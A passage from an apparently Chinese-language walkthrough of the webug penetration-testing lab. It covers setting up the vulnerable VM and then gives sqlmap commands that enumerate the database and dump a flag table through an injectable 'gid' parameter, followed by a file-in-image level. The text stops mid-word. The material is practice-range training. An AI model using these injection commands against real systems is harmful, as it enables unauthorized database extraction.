webug靶场渗透基础攻略

安装

下载解压后，打开虚拟机

修改网络为桥接模式

虚拟机cmd中输入ipconfig查看局域网ip地址

我这边是192.168.0.101
浏览器访问一下

没毛病，第一步完成了，现在开始练习

---

第一关

这题目…一开始我就没明白要干什么
看了二三关的题目后，才明白过来是要找出id为1的值的flag
接下来我们使用sqlmap
查询当前的数据库名

sqlmap -u "http://192.168.0.101/pentest/test/sqli/sqltamp.php?gid=1" --current-db

查表

sqlmap -u "http://192.168.0.101/pentest/test/sqli/sqltamp.php?gid=1" -D pentesterlab --tables

查字段

sqlmap -u "http://192.168.0.101/pentest/test/sqli/sqltamp.php?gid=1" -D pentesterlab -T flag --columns

现在就可以查flag值了

sqlmap -u "http://192.168.0.101/pentest/test/sqli/sqltamp.php?gid=1" -D pentesterlab -T flag -C flag,id --dump

答案就出来了，但是不用将这个值提交，因为看了源代码后发现提交页面并没有校验flag的功能，估计还没开发好

---

第二关

下载图片，用notepad打开一下

有个txt文件，解压后打开看看

貌似没更多信息
把’123’填入提交后，发现错了，再试’密码123’，‘123txt’都是错的，无奈下又看了下源代码，发现答案是’flang{fa136c7c341a6e26}’。中括号里面估计是md5值，那把fa136c7c341a6e26进行一下MD5解密，结果是‘chi